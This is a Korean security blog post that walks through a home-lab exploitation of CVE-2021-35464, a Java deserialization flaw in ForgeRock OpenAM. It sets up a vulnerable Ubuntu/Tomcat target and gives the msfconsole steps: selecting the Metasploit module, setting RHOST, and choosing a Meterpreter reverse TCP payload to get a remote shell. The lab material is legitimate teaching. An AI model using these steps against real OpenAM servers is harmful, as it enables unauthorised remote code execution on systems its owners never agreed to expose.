Information Security ˗ˋˏ ♡ ˎˊ˗

Security/Metasploit

[Attack] CVE-2021-35464: 메타스플로잇(Metasploit) 이용한 취약점 공격

토오쓰 2021. 11. 11. 13:41

목표 취약한 대상에서 해당 취약점이 적용되는지 확인하기

 

[취약점 정보]

CVE: CVE-2021-35464

Exploit: exploit/multi/http/cve_2021_35464_forgerock_openam

Disclosure Data: 2021-06-29

Rank: excellent

 

[취약점 요약]

해당 CVE는 OpenAM(Open Access Management)에 Insecure Deserialization(역직렬화) 취약점을 가지고 있다.

OpenAM은 인증, SSO, 권한 부여, 자격 및 웹 서비스 보안을 담당하는 액세스 관리 솔루션이다.

jato 프레임워크 구현에 있는 Java 역직렬화 결함으로 인해 발생하는 트리거이다.

GET, POST 요청으로 공격에 성공하면 서비스 사용자로 코드가 실행될 수 있다.

 

 

1. 공격 전 Ubuntu 취약한 환경으로 설정하기

공격 대상 우분투 IP: 172.16.0.129

공격 대상 Ubuntu

 

1) JAVA 설치

sudo apt-get install openjdk-8-jdk

 

2) PATH 설정 (.bashrc)

export JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
export PATH="$PATH:$JAVA_HOME/bin"

공격 대상 Ubuntu

 

3) Tomcat (압축 풀기)

 

4) webapps 안에 tomcat(war) 파일 담기

공격 대상 Ubuntu

 

5) .tomcat 폴더 안에 bin 폴더 안에서 startup.sh 실행하기

공격 대상 Ubuntu

 

 

tomcat 실행 가능한지 테스트

공격 대상 Ubuntu

 

그리고 webapps 폴더 안에 넣은 openAM WAR 파일의 압축이 자동으로 풀려야 한다.

공격 대상 Ubuntu
공격 대상 Ubuntu

 

 

우분투 Victim 서버와 칼리 리눅스의 세션을 맺기 위해서는 해당 URL을 메타스플로잇 OPTIONS 값으로 추가해야 한다.

http://172.16.0.129:8080/OpenAM-14.4.2/config/options.html

 

 

5) URI 수정하기

그리고 해당 URL를 메타스플로잇에 적용한다.

 

 

 

2. 메타스플로잇을 이용하여 공격(exploit)

1) msfconsol에서 CVE 찾기

search CVE-2021-35464

 

 

2) 해당 CVE 사용하기

use exploit/multi/http/cve_2021_35464_forgerock_openam

 

3) CVE 정보 확인하기

info

 

options

 

 

show payloads

payload/linux/x64/meterpreter/reverse_tcp 이용하기

 

 

set을 이용하여 payload 변경 및 RHOST 변경

set RHOST Target IP

 

RHOST는 Victim의 우분투 IP를 말한다.

LHOST는 공격자의 IP를 말한다.

 

 

URI 수정하기

그리고 해당 URL를 메타스플로잇에 적용한다.

http://172.16.0.129:8080/OpenAM-14.4.2/config/options.html

 

 

자세한 정보를 보고 싶을 때 true로 설정하면 완료

 

 

연결 성공!!

 

 

에러 사항

해당 연결을 수행하기 위해서 OpenAM 페이지를 가입하여 로그인까지 해서 server를 구동시켜야 connect가 되는 것을 볼 수 있었다.

공격당한 우분투에 meterpreter를 이용하여 공격할 수 있다.